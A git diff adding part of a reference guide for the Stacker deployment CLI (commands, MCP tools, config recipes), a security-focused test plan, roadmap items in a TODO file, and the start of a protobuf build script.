+# Logs
+stacker agent logs my-app --lines 200
+
+# Container lifecycle
+stacker agent restart my-app
+stacker agent deploy-app --app my-app --image myorg/myapp --tag v2.1
+stacker agent remove-app --app my-app --remove-volumes
+
+# Proxy
+stacker agent configure-proxy --app my-app --domain app.example.com --ssl
+stacker agent configure-proxy --app my-app --domain app.local --no-ssl
+
+# Firewall (guest OS / iptables)
+stacker agent configure-firewall
+
+# Install agent on existing server
+stacker agent install
+stacker agent install --persist-config      # also writes monitoring.status_panel: true
+
+# History
+stacker agent history
+```
+
+Enable agent in stacker.yml:
+```yaml
+monitoring:
+  status_panel: true
+```
+
+---
+
+## Cloud Firewall Commands
+
+Opens/closes ports in the cloud-provider firewall (not the server's iptables):
+
+```bash
+stacker cloud firewall add --public-ports 8000/tcp
+stacker cloud firewall add --server-id 42 --public-ports 80/tcp,443/tcp
+stacker cloud firewall remove --server-id 42 --public-ports 8000/tcp
+stacker cloud firewall list --server-id 42
+```
+
+This is distinct from `stacker agent configure-firewall` which manages iptables on the server itself.
+
+---
+
+## Service Template Catalog
+
+```bash
+stacker service list                         # 20+ built-in templates
+stacker service add postgres                 # adds to stacker.yml
+stacker service add redis
+stacker service add wordpress                # auto-adds mysql dependency
+stacker service add elasticsearch
+```
+
+Aliases: `pg`→postgres, `wp`→wordpress, `es`→elasticsearch, `mq`→rabbitmq, `npm`→nginx_proxy_manager
+
+---
+
+## SSH Key Management
+
+```bash
+stacker ssh-key generate --server-id 42
+stacker ssh-key generate --server-id 42 --save-to ~/.ssh/my-server.pem
+stacker ssh-key show --server-id 42
+stacker ssh-key upload --server-id 42 --public-key ~/.ssh/id_rsa.pub --private-key ~/.ssh/id_rsa
+stacker ssh-key inject --server-id 42 --with-key ~/.ssh/existing-key  # repair Vault trust
+```
+
+Cloud-deploy backup keys live at `~/.config/stacker/ssh/server-{id}_ed25519`.
+
+---
+
+## MCP Tools (AI-facing API)
+
+When operating through an MCP-enabled client, use these tools rather than CLI commands:
+
+| Tool | Purpose |
+|------|---------|
+| `get_deployment_state` | Machine-readable deployment state (prefer over `get_deployment_status`) |
+| `explain_topology` | Runtime compose paths and service inventory (no secrets) |
+| `explain_env` | Env provenance for one app (no values, only layer names + hashes) |
+| `get_deployment_plan` | Preview deploy/rollback and get a fingerprint |
+| `apply_deployment_plan` | Apply a plan — requires `confirm=true` + `expected_fingerprint` |
+| `get_deployment_events` | Progress, failure, and remediation signals |
+| `get_app_env_vars` | Env vars with `secure`/`source` metadata; prefer `environment_entries` |
+| `configure_firewall` | Add/remove iptables rules |
+| `list_firewall_rules` | List current iptables rules |
+
+**Safe MCP workflow:**
+1. `get_deployment_state` — inspect current state
+2. `explain_topology` or `explain_env` — understand paths/env
+3. `get_deployment_plan` — preview, capture `fingerprint`
+4. Human confirms
+5. `apply_deployment_plan` with `expected_fingerprint` + `confirm: true`
+6. `get_deployment_events` — observe progress
+
+Never read or display raw secret values from MCP responses. Those surfaces are redaction-first.
+
+---
+
+## Validation Rules
+
+| Code | Severity | Rule |
+|------|----------|------|
+| `E001` | Error | Cloud deploy requires `deploy.cloud.provider` |
+| `E002` | Error | Server deploy requires `deploy.server.host` |
+| `E003` | Error | `type: custom` requires `app.image` or `app.dockerfile` |
+| `E004` | Error | `deploy.environment` references undefined key in `environments:` |
+| `W001` | Warning | Port conflict — multiple services bind the same host port |
+| `W002` | Warning | Named volume declared in `volumes:` but not mounted |
+
+```bash
+stacker config validate
+stacker config validate --file prod.yml
+```
+
+---
+
+## Decision Trees
+
+### Which `app.type` to use?
+
+```
+Do you have a pre-built Docker image?
+  → yes: type: custom + image: <registry/image:tag>
+  → no:  Do you have your own Dockerfile?
+           → yes: type: custom + dockerfile: ./Dockerfile
+           → no:  Let Stacker auto-detect from your project files
+                  (package.json→node, requirements.txt→python, Cargo.toml→rust, etc.)
+```
+
+### Which proxy to use?
+
+```
+Do you need a web UI to manage proxy + SSL?
+  → yes: type: nginx-proxy-manager
+  → no:  Do you already have a proxy running?
+           → yes: auto_detect: true (Stacker connects to it)
+           → no:  type: nginx (for simple config) or type: traefik
+         No proxy at all:
+           → type: none, auto_detect: false
+```
+
+### Which deploy target?
+
+```
+Local development / test:
+  → target: local
+
+Deploy to a new cloud VM (Stacker provisions it):
+  → target: cloud + deploy.cloud.provider
+
+Deploy to an existing server (you provide SSH access):
+  → target: server + deploy.server.host
+```
+
+### Which AI provider?
+
+```
+Have an Anthropic API key?
+  → provider: anthropic, model: claude-sonnet-4-20250514
+
+Have an OpenAI API key?
+  → provider: openai, model: gpt-4o
+
+Running Ollama locally?
+  → provider: ollama, model: qwen2.5-coder (or llama3 / deepseek-r1)
+  → set timeout: 0 for large models
+
+Using an OpenAI-compatible API (Groq, Azure, Together, etc.)?
+  → provider: custom + endpoint: <url>
+```
+
+---
+
+## Common Mistakes and Fixes
+
+### App unreachable after cloud deploy
+
+```yaml
+# Missing public_ports — firewall blocks the port
+deploy:
+  cloud:
+    provider: hetzner
+    public_ports:        # ADD THIS
+      - "8000"
+      - "80"
+```
+
+Or fix post-deploy:
+```bash
+stacker cloud firewall add --public-ports 8000/tcp
+```
+
+### Hook rejected due to marketplace marker
+
+```yaml
+# @stacker-origin: marketplace    ← DELETE THIS LINE after reviewing hooks
+name: my-app
+hooks:
+  post_deploy: ./setup.sh
+```
+
+### Port conflict between services
+
+Services must not share the same host port. Bind database ports to localhost only:
+```yaml
+services:
+  - name: postgres
+    ports:
+      - "127.0.0.1:5432:5432"   # not accessible from outside host
+```
+
+### Secret value accidentally committed
+
+Never put real secrets in `stacker.yml`. Use `${VAR}` and `.env`:
+```yaml
+# WRONG
+environment:
+  DB_PASSWORD: supersecret
+
+# RIGHT
+environment:
+  DB_PASSWORD: ${DB_PASSWORD}
+```
+
+### `app.type: custom` without image or dockerfile
+
+```yaml
+# WRONG — E003
+app:
+  type: custom
+
+# RIGHT
+app:
+  type: custom
+  image: myorg/myapp:latest
+# or
+app:
+  type: custom
+  dockerfile: ./Dockerfile
+```
+
+### `deploy.environment` not in `environments:`
+
+```yaml
+# WRONG — E004
+deploy:
+  environment: staging   # but no environments: section
+
+# RIGHT
+deploy:
+  environment: staging
+environments:
+  staging:
+    compose_file: docker/staging/compose.yml
+    env_file: .env.staging
+```
+
+---
+
+## Recipes
+
+### Anthropic Claude-assisted Node.js + PostgreSQL on Hetzner
+
+```yaml
+name: my-api
+version: "1.0"
+
+project:
+  identity: my-api
+
+app:
+  type: node
+  path: .
+  ports:
+    - "3000:3000"
+  environment:
+    NODE_ENV: production
+    DATABASE_URL: "postgres://app:${DB_PASSWORD}@postgres:5432/myapp"
+
+services:
+  - name: postgres
+    image: postgres:16
+    environment:
+      POSTGRES_DB: myapp
+      POSTGRES_USER: app
+      POSTGRES_PASSWORD: "${DB_PASSWORD}"
+    volumes:
+      - pgdata:/var/lib/postgresql/data
+    healthcheck:
+      test: "CMD pg_isready -U app"
+      interval: 10s
+      timeout: 5s
+      retries: "5"
+
+proxy:
+  type: nginx-proxy-manager
+  auto_detect: true
+
+deploy:
+  target: cloud
+  cloud:
+    provider: hetzner
+    region: fsn1
+    size: cpx22
+    ssh_key: ~/.ssh/id_ed25519
+    public_ports:
+      - "80"
+      - "443"
+      - "3000"
+
+ai:
+  enabled: true
+  provider: anthropic
+  model: claude-sonnet-4-20250514
+  api_key: ${ANTHROPIC_API_KEY}
+  timeout: 300
+  tasks:
+    - dockerfile
+    - troubleshoot
+    - compose
+
+monitoring:
+  status_panel: true
+  healthcheck:
+    endpoint: /health
+    interval: 15s
+
+hooks:
+  post_deploy: ./scripts/migrate.sh
+
+volumes:
+  pgdata: {}
+
+env_file: .env
+```
+
+### OpenAI-powered Python/FastAPI stack
+
+```yaml
+name: fastapi-service
+version: "1.0"
+
+app:
+  type: python
+  path: .
+  ports:
+    - "8000:8000"
+  environment:
+    ENV: production
+    DATABASE_URL: "postgres://app:${DB_PASSWORD}@postgres:5432/service"
+
+services:
+  - name: postgres
+    image: postgres:16-alpine
+    environment:
+      POSTGRES_PASSWORD: "${DB_PASSWORD}"
+      POSTGRES_DB: service
+    volumes:
+      - db_data:/var/lib/postgresql/data
+    healthcheck:
+      test: "CMD-SHELL pg_isready -U postgres"
+      interval: 10s
+      timeout: 5s
+      retries: "5"
+
+  - name: redis
+    image: redis:7-alpine
+    command: redis-server --requirepass "${REDIS_PASSWORD}"
+    environment:
+      REDIS_PASSWORD: "${REDIS_PASSWORD}"
+    volumes:
+      - redis_data:/data
+
+proxy:
+  type: none
+  auto_detect: false
+
+deploy:
+  target: cloud
+  cloud:
+    provider: hetzner
+    region: nbg1
+    size: cpx22
+    public_ports:
+      - "8000"
+
+ai:
+  enabled: true
+  provider: openai
+  model: gpt-4o
+  api_key: ${OPENAI_API_KEY}
+  timeout: 120
+  tasks:
+    - dockerfile
+    - troubleshoot
+
+monitoring:
+  status_panel: true
+
+volumes:
+  db_data: {}
+  redis_data: {}
+
+env_file: .env
+```
+
+### Local Ollama + qwen2.5-coder for a static site
+
+```yaml
+name: my-website
+
+app:
+  type: static
+  path: ./dist
+
+proxy:
+  type: nginx
+  auto_detect: false
+  domains:
+    - domain: mysite.example.com
+      ssl: auto
+      upstream: app:80
+
+deploy:
+  target: cloud
+  cloud:
+    provider: hetzner
+    region: fsn1
+    size: cx23
+    public_ports:
+      - "80"
+      - "443"
+
+ai:
+  enabled: true
+  provider: ollama
+  model: qwen2.5-coder
+  endpoint: http://localhost:11434
+  timeout: 0
+  tasks:
+    - dockerfile
+    - troubleshoot
+
+monitoring:
+  status_panel: true
+
+env_file: .env
+```
+
+### Multi-environment deployment
+
+```yaml
+name: saas-platform
+
+project:
+  identity: saas-platform
+
+app:
+  type: custom
+  image: myorg/saas:${IMAGE_TAG}
+  ports:
+    - "8080:8080"
+
+deploy:
+  target: cloud
+  environment: ${DEPLOY_ENV}
+  cloud:
+    provider: hetzner
+    region: fsn1
+    size: cpx32
+    public_ports:
+      - "80"
+      - "443"
+      - "8080"
+
+environments:
+  production:
+    compose_file: docker/production/compose.yml
+    env_file: .env
+  staging:
+    compose_file: docker/staging/compose.yml
+    env_file: .env.staging
+
+monitoring:
+  status_panel: true
+
+env_file: .env
+```
+
+Switch environments:
+```bash
+stacker env production
+stacker deploy
+
+stacker env staging
+stacker deploy
+```
+
+---
+
+## File Structure Reference
+
+```
+my-project/
+├── stacker.yml              ← your config (the only file you write)
+├── .stacker/                ← generated artefacts (gitignore this)
+│   ├── Dockerfile
+│   ├── docker-compose.yml
+│   ├── active-env           ← persisted by `stacker env <name>`
+│   └── scenarios/           ← AI scenario state (qwen2.5-code/website-deploy/)
+├── .env                     ← secrets (gitignore this)
+├── docker/                  ← environment-specific compose files (optional)
+│   ├── production/compose.yml
+│   └── staging/compose.yml
+└── scripts/                 ← hook scripts (optional)
+    ├── pre-build.sh
+    ├── post-deploy.sh
+    └── notify-failure.sh
+```
+
+---
+
+## Quick Reference Card
+
+| Task | Command |
+|------|---------|
+| Init with AI | `stacker init --with-ai --ai-provider anthropic` |
+| Deploy locally | `stacker deploy --target local` |
+| Deploy to cloud | `stacker deploy --target cloud` |
+| Check status | `stacker status --watch` |
+| View logs | `stacker logs --follow` |
+| Open a firewall port | `stacker cloud firewall add --public-ports 8080/tcp` |
+| Add a service | `stacker service add postgres` |
+| Set a secret | `stacker secrets set KEY --scope service --service app` |
+| Push secrets | `stacker secrets push --service app` |
+| Switch env | `stacker env production` |
+| Agent health | `stacker agent health` |
+| Restart container | `stacker agent restart my-app` |
+| AI chat | `stacker ai --write` |
+| Validate config | `stacker config validate` |
+| Fix missing fields | `stacker config fix` |
+| Configure AI | `stacker config setup ai --provider anthropic` |
+
+---
+
+*Based on Stacker CLI v0.3 — [try.direct](https://try.direct)*
diff --git a/TEST_PLAN.md b/TEST_PLAN.md
new file mode 100644
index 00000000..6a705d2b
--- /dev/null
+++ b/TEST_PLAN.md
@@ -0,0 +1,149 @@
+# Stacker Test Plan
+
+## Coverage summary
+
+Integration tests: 94 files, 468+ tests — good breadth on happy paths.
+Unit tests: sparse — most modules have no inline `#[cfg(test)]` blocks.
+
+---
+
+## Priority 1 — Auth middleware (9 files, 0% unit coverage)
+
+**Risk:** Token forgery, expiry bypass, HMAC replay are blind spots.
+
+| File | What to test |
+|---|---|
+| `f_jwt.rs` | No header → skip; non-Bearer → skip; malformed JWT → skip; expired JWT → **Err** (not skip); valid JWT → Ok + extensions set; double-auth → Err |
+| `f_hmac.rs` | No stacker-id → skip; has id, no hash → Err; wrong HMAC → Err; correct HMAC → Ok |
+| `f_cookie.rs` | No cookie → skip; no access_token cookie → skip; correct extraction from multi-cookie string |
+| `f_query.rs` | Non-MCP path → skip; no query string → skip; no access_token param → skip; URL-encoded token decoded correctly |
+| `f_agent.rs` | No x-agent-id → skip; invalid UUID → Err; no Authorization → Err; non-Bearer → Err |
+| `authorization.rs` | `fetch_policy_fingerprint` returns consistent (max_id, count) pair |
+
+**Status:** ✅ Done — 17 tests, all passing. See `#[cfg(test)]` in each file.
+
+---
+
+## Priority 2 — Payout webhook / Stripe signature
+
+**Risk:** Stripe signature bypass → financial impact.
+
+**Note:** signature logic lives in `services/payout_provider.rs`
+(`verify_stripe_signature`); the `payout_webhook.rs` handler is thin delegation.
+Tests added at the provider level (pure, no HTTP). 7 pre-existing tests; the
+security-critical bypass cases were missing and are now added.
+
+| Scenario | Expected | Covered by |
+|---|---|---|
+| Missing `Stripe-Signature` header | Err "Missing Stripe-Signature" | ✅ `stripe_webhook_rejects_missing_signature_header` |
+| **Forged signature** (signed w/ wrong secret) | Err "Invalid signature" | ✅ `stripe_webhook_rejects_forged_signature` |
+| **Tampered payload** (valid sig for different body) | Err "Invalid signature" | ✅ `stripe_webhook_rejects_tampered_payload` |
+| Stale timestamp (> 300s) | Err "outside tolerance" | `stripe_webhook_rejects_stale_signature` (pre-existing) |
+| Missing `t=` part | Err "missing timestamp" | ✅ `stripe_webhook_rejects_missing_timestamp_part` |
+| Missing `v1=` part | Err "missing v1 signature" | ✅ `stripe_webhook_rejects_missing_v1_part` |
+| Non-hex `v1` value | Err "hex is invalid" | ✅ `stripe_webhook_rejects_invalid_hex_signature` |
+| Valid sig, non-`account.updated` event | Ok(None) → "Webhook ignored" | ✅ `stripe_webhook_ignores_non_account_updated_event` |
+| Valid sig, `account.updated` missing data.object | InvalidResponse | ✅ `stripe_webhook_account_updated_missing_object_is_invalid` |
+| Valid sig + timestamp → parsed | Ok(Some(update)) | `stripe_webhook_parses_valid_account_update` (pre-existing) |
+
+**Status:** ✅ Done — 15 tests total (8 new), all passing.
+
+---
+
+## Priority 3 — `services/marketplace_access.rs` (access gate for all installs)
+
+**Risk:** Access gate for all marketplace installs.
+
+**Note:** module already had 6 tests (coverage report was inaccurate). Added 5 tests
+for the previously-untested error variants and ownership-resolution fallbacks.
+
+| Scenario | Expected | Covered by |
+|---|---|---|
+| User below minimum plan → denied | `InsufficientFeaturePlan` | `rejects_users_below_marketplace_install_plan` (pre-existing) |
+| User meets minimum plan, template requires higher → denied | `InsufficientTemplatePlan` | ✅ `rejects_when_template_requires_higher_plan_than_feature_plan` |
+| Missing user token → denied | `MissingUserToken` | ✅ `rejects_when_user_token_missing` |
+| Upstream connector error → propagated | `ValidationFailed` | ✅ `propagates_connector_error_as_validation_failed` |
+| User owns template (by product_id) → allowed | Ok | `validates_feature_plan_template_plan_and_ownership` (pre-existing) |
+| User owns template (by UUID) → allowed | Ok | ✅ `allows_when_user_owns_template_by_uuid` |
+| User owns template (by slug) → allowed | Ok | ✅ `allows_when_user_owns_template_by_slug` |
+| Template free / zero-price → always allowed | Ok | `allows_free_templates_without_ownership`, `allows_zero_price_templates_without_ownership` (pre-existing) |
+
+**Status:** ✅ Done — 11 tests total (5 new), all passing.
+
+---
+
+## Priority 4 — DB layer edge cases (20 files, 0% unit coverage)
+
+**Risk:** Concurrent writes, not-found vs. error, missing rows reach callers silently.
+
+**Audit (verified):** all 20 `src/db/*.rs` files have zero inline tests — report was
+accurate here. BUT every function takes `&PgPool` and runs real SQL, so these need a
+live Postgres (via `#[sqlx::test]` fixtures or the `spawn_app` harness), not inline
+unit tests. sqlx `query!` macros already type-check most queries at compile time.
+**Deferred** — belongs in a dedicated DB-fixture effort, lower value-per-cost than P5/P6.
+
+Key targets when tackled:
+- `db/deployment.rs` — state machine transitions (concurrent update race)
+- `db/project.rs` — upsert idempotency
+- `db/marketplace.rs` — `get_by_slug_with_latest` returns `SlugLookupError` — verify caller handles both variants
+
+**Status:** Deferred (needs DB harness).
+
+---
+
+## Priority 5 — `services/dag_executor.rs` (0% coverage)
+
+**Risk:** Complex execution path; failures are silent or produce wrong state.
+
+**Audit (verified):** report was accurate — 0 tests. The two pure graph functions
+(`topological_sort`, `validate_dag`) are DB-free and hold the complex logic (Kahn's
+algorithm, cycle detection). `execute_dag` itself needs a `&PgPool` — deferred to the
+DB-harness effort.
+
+| Scenario | Expected | Covered by |
+|---|---|---|
+| Empty DAG | Err "at least one step" | ✅ `topological_sort_rejects_empty_dag`, `validate_dag_rejects_empty` |
+| Linear chain a→b→c | 3 ordered levels | ✅ `topological_sort_orders_linear_chain` |
+| Parallel a→b, a→c | b,c share one level | ✅ `topological_sort_groups_parallel_steps_in_same_level` |
+| Cycle a→b→a | Err "cycle" | ✅ `topological_sort_detects_cycle` |
+| Self-loop a→a | Err "cycle" | ✅ `topological_sort_detects_self_loop` |
+| Edge to unknown step | ignored, not treated as dep | ✅ `topological_sort_ignores_edges_to_unknown_steps` |
+| Disconnected roots | share first level | ✅ `topological_sort_handles_disconnected_nodes_in_first_level` |
+| Missing source / target | Err "source/target step" | ✅ `validate_dag_requires_a_source`, `_a_target` |
+| Valid source+target (incl. ws_/grpc_) | Ok | ✅ `validate_dag_accepts_source_and_target`, `_alternate_...` |
+
+**Status:** ✅ Done (graph logic) — 12 tests, all passing. `execute_dag` DB path deferred.
+
+---
+
+## Priority 6 — Form validation gaps
+
+**Risk:** Invalid data reaches DB silently.
+
+**Audit (verified):** 28 forms lack tests, but most are trivial data structs whose only
+"validation" is serde_valid `min_length`/`max_length` attrs — testing those tests the
+*library*, not our code. The **one target with real custom logic** is
+`deploy.rs::validate_cloud_instance_config` (pure; guards every cloud deploy).
+`app.rs` (176 loc) is standard serde_valid attrs — low value.
+
+| Scenario | Expected | Covered by |
+|---|---|---|
+| provider "own" → skip instance checks | Ok even with empty fields | ✅ `own_provider_skips_instance_validation` |
+| Cloud provider, all fields present | Ok | ✅ `cloud_provider_with_all_instance_fields_passes` |
+| Cloud provider, all fields missing | Err listing region+server+os | ✅ `cloud_provider_missing_all_instance_fields_is_rejected` |
+| Cloud provider, one field missing | Err listing only that field | ✅ `cloud_provider_missing_single_field_is_rejected` |
+| Empty string treated as missing | Err | ✅ `empty_string_instance_field_counts_as_missing` |
+
+**Status:** ✅ Done (the one real target) — 5 tests, all passing. Remaining forms are
+trivial serde_valid attrs, not worth unit tests.
+
+---
+
+## Modules with full coverage (do not regress)
+
+- `cli/` — 30+ files, comprehensive unit tests
+- `helpers/redact.rs`, `helpers/security_validator.rs`, `helpers/ip.rs`
+- `forms/cloud.rs`, `forms/port.rs`, `forms/var.rs`, `forms/volume.rs`
+- `connectors/admin_service/jwt.rs`
+- `middleware/authentication/method/f_oauth.rs`
+- Security tests: `tests/security_*.rs` (12 files)
diff --git a/TODO.md b/TODO.md
index e0d702ab..3b7755fc 100644
--- a/TODO.md
+++ b/TODO.md
@@ -46,6 +46,38 @@
 
 ## ✅ Recent Fixes
 
+### May 15, 2026 - Remote runtime `.env` merge strategy hardening
+- [x] Fixed `stacker agent deploy-app` to keep the shared project `.env` in the deploy-app config bundle when the target service topology uses root `env_file: .env`
+- [ ] Replace append-based runtime env merge with **key-aware env merge**
+  - Parse existing/base `.env` content into key/value pairs instead of concatenating text blocks
+  - Build one final deduplicated runtime `.env` file per actual runtime path
+  - Eliminate duplicate keys such as `PORT=...` appearing twice after merge
+- [ ] Define and document strict runtime env precedence
+  - base authoring env from `stacker.yml env_file`
+  - server-scope secrets
+  - service-scope secrets
+  - generated runtime keys such as `DEPLOYMENT_HASH`
+- [ ] Add deletion semantics for rendered env output
+  - when a rendered/secret-backed key is removed, the next render must remove it from the target runtime `.env`
+  - do not preserve stale keys just because they existed in the previous file
+- [ ] Split merge behavior by runtime topology, not by secret scope
+  - shared `/home/trydirect/project/.env` must be rendered as one canonical deduplicated file
+  - app-local env files should only be used when the compose topology truly points to app-local env files
+- [ ] Add regression tests for runtime env merge behavior
+  - shared root `.env` survives `stacker agent deploy-app`
+  - app-local `.env` merge still works
+  - override precedence is deterministic
+  - removed keys disappear on next render
+  - registry auth never leaks into runtime `.env`
+
+### May 2, 2026 - Vault-backed NPM credential contract
+- [x] Status Panel `configure_proxy` no longer relies on hard-coded `admin@example.com` / `changeme` defaults
+- [x] Installer contract now emits `STACKER_SERVER_ID` and a host-scoped Vault path for Nginx Proxy Manager credentials
+- [x] Deployment-scoped Vault tokens can be extended with an exact read grant for `secret/{env}/status_panel/hosts/{server_id}/npm_credentials`
+- [x] Status Panel linking now advertises `npm_credential_source=vault`; Stacker surfaces it in deployment capabilities and can gate `configure_proxy` with `STACKER_CONFIGURE_PROXY_CAPABILITY_MODE=warn|enforce`
+- [x] Rollout order: ship Status Panel reader → provision installer secret/policy → re-link agents so capabilities are refreshed → keep Stacker in `warn` mode → switch to `enforce` after all active agents report `npm_credential_source=vault`
+- [ ] Future Vault hardening: expose `vault.try.direct` for Status Panel agents behind identity-based access (prefer mTLS; a private mesh or tunnel is also acceptable) instead of relying on static source-IP allowlists. Keep Vault tokens short-lived and path-scoped to the exact Status Panel host/deployment secrets they need.
+
 ### February 16, 2026 - CORS Headers Fix
 - [x] Fixed CORS configuration to properly support Authorization header with credentials
 - [x] Changed from whitelist (`allowed_headers(vec![...])`) to `.allow_any_header()` + `.expose_any_header()`
@@ -218,6 +250,16 @@ Stacker responsibilities:
 - [x] Reduce polling frequency and batch command status queries; prefer streaming/long-poll responses.
 - [ ] Add server-side aggregation: return only latest command states instead of fetching full 150+ rows each time.
 - [x] Add gzip/br on internal HTTP responses and trim response payloads.
+
+### Local pipe discovery follow-up
+- [ ] Design a local-only persistence layer for AI/discovery pipe hints before adding runtime semantics or `stacker.yml` schema changes.
+  - Scope: cache advisory local scan results for commands such as a future `stacker pipe scan-local`
+  - Preferred first option: SQLite in the workspace or `.stacker/` state
+  - Minimal tables:
+    - `pipe_scans(id, project_root, project_name, scanned_at)`
+    - `pipe_hints(id, scan_id, pipe_key, category, title, confidence, source, evidence, target)`
+  - Keep this separate from remote/runtime-verified pipe records and from server-side Postgres models
+  - Add user-confirmed decisions later only if the local discovery workflow proves useful
 - [x] Co-locate Stacker and User Service (same network/region) or use private networking to cut latency.
 
 ### Backlog hygiene
@@ -712,7 +754,7 @@ Stacker responsibilities:
 ## Tasks
 
 ### Bugfix: Return clear duplicate slug error
-- [ ] When `stack_template.slug` violates uniqueness (code 23505), return 409/400 with a descriptive message (e.g., "slug already exists") instead of 500 so clients (blog/stack-builder) can surface a user-friendly error.
+- [x] When `stack_template.slug` violates uniqueness (code 23505), return 409/400 with a descriptive message (e.g., "slug already exists") instead of 500 so clients (blog/stack-builder) can surface a user-friendly error.
 
 ### 1. Create User Service Connector
 **File**: `app/<stacker-module>/connectors/user_service_connector.py` (in Stacker repo)
@@ -1144,3 +1186,81 @@ To verify `is_official` and `is_verified_publisher` status for each image:
    - Store results in `stack_template_review.security_checklist["cve_scan"]`
    - Auto-set `verifications.vulnerability_scanned = true` when scan passes (no HIGH/CRITICAL CVEs)
 
+## Missing Features Implementation Plan (2026-04)
+
+### Phase 1 - Marketplace Foundation and Revenue Loop
+- [x] **[stacker-vendor-payouts]** Implement vendor verification and payout foundations for marketplace sellers.
+  - [x] Add `marketplace_vendor_profile` storage plus admin template detail exposure with safe default fallback.
+  - [x] Add admin-only partial updates for vendor verification, onboarding, payout linkage, and metadata.
+  - [x] Add creator-visible vendor profile status so marketplace sellers can inspect onboarding and payout readiness.
+  - [x] Add a creator self-service vendor profile endpoint that is not tied to a specific template ID.
+  - [x] Add a creator onboarding-link bootstrap endpoint that idempotently creates or reuses payout linkage.
+  - [x] Persist auditable onboarding metadata and completion transitions for later real provider integration.
+- [x] **[stacker-template-requirements]** Add real infrastructure requirements to marketplace templates.
+  - [x] Store supported clouds, minimum RAM/disk/CPU, supported OS, and related compatibility metadata.
+  - [x] Use these fields in marketplace create/read/update flows and webhook payloads.
+  - [x] Use `supported_clouds` and `supported_os` in deployment validation so incompatible targets are blocked early.
+  - [x] Add a shared backend server-capacity resolver for normalized App Service `/servers` catalog data.
+  - [x] Enforce `min_ram_mb` during deploy validation using the shared capacity resolver on both deploy entry points.
+  - [x] Extend numeric deploy validation to `min_disk_gb` and `min_cpu_cores`.
+- [ ] **[stacker-review-notifications]** Close the creator feedback loop for template reviews.
+  - [x] Normalize `needs_changes` as a real admin review outcome with creator-visible review history and guarded admin routing.
+  - [ ] Send notifications for submit/approve/reject/update-required events.
+  - Include actionable review reasons and the next expected developer action.
+
+### Phase 2 - Reliability and User-Facing Correctness
+- [x] **[stacker-duplicate-slug-409]** Return a clear conflict response when a marketplace slug already exists.
+  - Convert duplicate-slug failures from generic 500 errors into explicit 409/validation feedback.
+  - Keep CLI and UI messaging aligned so the user gets a recoverable error.
+- [ ] **[stacker-agent-alerts]** Add server-side endpoint to receive outbound alerts from Status Panel agents.
+  - Status Panel now sends `POST` webhook with `X-Agent-Id` header when host metrics breach thresholds.
+  - Implement `POST /api/v1/agents/alerts` (or similar) to receive the payload:
+    ```json
+    {
+      "alerts": [{
+        "kind": "high_cpu" | "high_memory" | "high_disk",
+        "severity": "warning" | "critical",
+        "message": "CPU usage at 96.2% (threshold: 95%)",
+        "value": 96.2,
+        "threshold": 95.0,
+        "recovered": false,
+        "timestamp_ms": 1700000000000,
+        "agent_id": "agent-123"
+      }],
+      "agent_id": "agent-123",
+      "timestamp_ms": 1700000000000
+    }
+    ```
+  - Return `2xx` on success, `4xx` on bad request (agent won't retry), `5xx` triggers agent retry (3x, exponential backoff).
+  - Validate `X-Agent-Id` header and match to known agent registration.
+  - Store alerts in DB for history; optionally fan out to notification channels (email/Slack).
+  - Surface active/recent alerts in admin dashboard per-server view.
+- [ ] **[stacker-rollback]** Add version-aware deployment rollback.
+  - Allow operators to choose a prior template or deployment version and roll back safely.
+  - Persist rollback history and expose the effective version in deployment details.
+
+### Phase 3 - Team and Integration Expansion
+- [x] **[stacker-ci-exporters]** Extend CI/CD export support beyond GitHub and GitLab.
+  - [x] Add Bitbucket Pipelines export and validate support, including aliases and stale/missing file checks.
+  - [x] Add Jenkinsfile export and validate support using the same `STACKER_TOKEN` convention.
+  - Keep export templates aligned with current Stacker project and secret conventions.
+- [ ] **[stacker-team-projects]** Add shared project ownership and team collaboration primitives.
+  - Introduce org/team ownership, invitations, seat-aware permissions, and shared deployment visibility.
+  - Define how ownership flows through marketplace, deployments, and future billing.
+
+### Phase 4 - Control Plane Completion
+- [ ] **[stacker-pipe-execution]** Finish pipe execution end-to-end across Stacker and Status Panel.
+  - Ensure the server, queueing layer, and agent all support the same pipe command set.
+  - Coordinate command provenance, reporting, and error surfaces with Status Panel.
+
+### Delivery Order
+- [ ] Start with `stacker-vendor-payouts`, `stacker-template-requirements`, and `stacker-duplicate-slug-409`.
+- [ ] Follow with `stacker-agent-alerts`, `stacker-review-notifications`, and `stacker-rollback` once the marketplace data contract is stable.
+- [ ] Treat `stacker-team-projects` and `stacker-pipe-execution` as multi-sprint workstreams with cross-project coordination.
+
+
+## MCP safe troubleshooting snapshots
+
+- Added `request_server_snapshot` MCP tool for Hetzner-first pre-remediation snapshots.
+- Snapshot creation requires explicit `confirm_snapshot=true` because it is a provider write operation.
+- Follow-up: add a shared risk guard to destructive MCP tools (`get_container_exec`, `restart_container`, `stop_container`, `remove_app`, force `deploy_app`, proxy/firewall writes) so they can require a recent `snapshot_id`/provider action before execution.
diff --git a/build.rs b/build.rs
new file mode 100644
index 00000000..8d7bcbe8
--- /dev/null
+++ b/build.rs
@@ -0,0 +1,124 @@
+use std::env;
+use std::fs;
+use std::path::{Path, PathBuf};
+use std::process::Command;
+
+fn main() -> Result<(), Box<dyn std::error::Error>> {
+    emit_git_short_hash();
+    configure_protoc()?;
+
+    let proto_includes = collect_proto_include_paths()?;
+
+    tonic_build::configure()
+        .build_server(false)
+        .build_client(true)
+        .compile(&["proto/pipe.proto"], &proto_includes)?;
+    Ok(())
+}
+
+fn configure_protoc() -> Result<(), Box<dyn std::error::Error>> {
+    if env::var_os("PROTOC").is_none() {
+        env::set_var("PROTOC", protoc_bin_vendored::protoc_bin_path()?);
+    }
+
+    if env::var_os("PROTOC_INCLUDE").is_none() {
+        env::set_var("PROTOC_INCLUDE", protoc_bin_vendored::include_path()?);
+    }
+
+    println!("cargo:rerun-if-env-changed=PROTOC");
+    println!("cargo:rerun-if-env-changed=PROTOC_INCLUDE");
+
+    Ok(())
+}
+
+fn collect_proto_include_paths() -> Result<Vec<PathBuf>, Box<dyn std::error::Error>> {
+    let mut includes = vec![PathBuf::from("proto")];
+
+    let vendored_include = PathBuf::from(protoc_bin_vendored::include_path()?);
+    if vendored_include
+        .join("google/protobuf/struct.proto")
+        .exists()
+    {
+        includes.push(vendored_include);
+    }
+
+    for candidate in [
+        PathBuf::from("/usr/include"),
+        PathBuf::from("/usr/local/include"),
+        PathBuf::from("/opt/homebrew/include"),
+    ] {
+        if candidate.join("google/protobuf/struct.proto").exists() {
+            includes.push(candidate);
+        }
+    }
+
+    Ok(includes)
+}
+
+fn emit_git_short_hash() {
